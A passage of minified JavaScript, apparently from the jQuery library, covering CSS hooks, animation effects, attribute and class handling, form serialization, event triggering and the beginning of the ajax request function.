Fe(e,t,n){var r,i,o,a,s=e.style;return(n=n||$e(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&We.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var ze=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ue={position:"absolute",visibility:"hidden",display:"block"},Ve={letterSpacing:"0",fontWeight:"400"},Ge=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Qe(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--)if((e=Ge[n]+t)in Ye)return e}function Je(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Qe(e)||e),t}function Ke(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(u-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(u-=w.css(e,"border"+oe[a]+"Width",!0,i))):(u+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?u+=w.css(e,"border"+oe[a]+"Width",!0,i):s+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ct(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=J.get(e,"fxshow");n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()})}));for(r in t)if(i=t[r],it.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||w.style(e,r)}if((u=!w.isEmptyObject(t))||!w.isEmptyObject(d)){f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=J.get(e,"display")),"none"===(c=w.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=w.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===w.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1;for(r in d)u||(y?"hidden"in y&&(g=y.hidden):y=J.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&fe([e],!0),p.done(function(){g||fe([e]),J.remove(e,"fxshow");for(r in d)w.style(e,r,d[r])})),u=lt(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}}function ft(e,t){var n,r,i,o,a;for(n in e)if(r=G(n),i=t[r],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=w.cssHooks[r])&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function pt(e,t,n){var r,i,o=0,a=pt.prefilters.length,s=w.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;for(var t=nt||st(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,a=l.tweens.length;o<a;o++)l.tweens[o].run(r);return s.notifyWith(e,[l,r,n]),r<1&&a?n:(a||s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:nt||st(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(ft(c,l.opts.specialEasing);o<a;o++)if(r=pt.prefilters[o].call(l,e,c,l.opts))return g(r.stop)&&(w._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return w.map(c,lt,l),g(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),w.fx.timer(w.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ue(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){g(e)?(t=e,e=["*"]):e=e.match(M);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[ct],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||g(e)&&e,duration:e,easing:n&&t||t&&!g(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){g(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),o=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=w.timers,a=J.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ot.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||w.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ut(t,!0),e,r,i)}}),w.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(nt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),nt=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){rt||(rt=!0,at())},w.fx.stop=function(){rt=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var dt,ht=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return z(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!N(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return 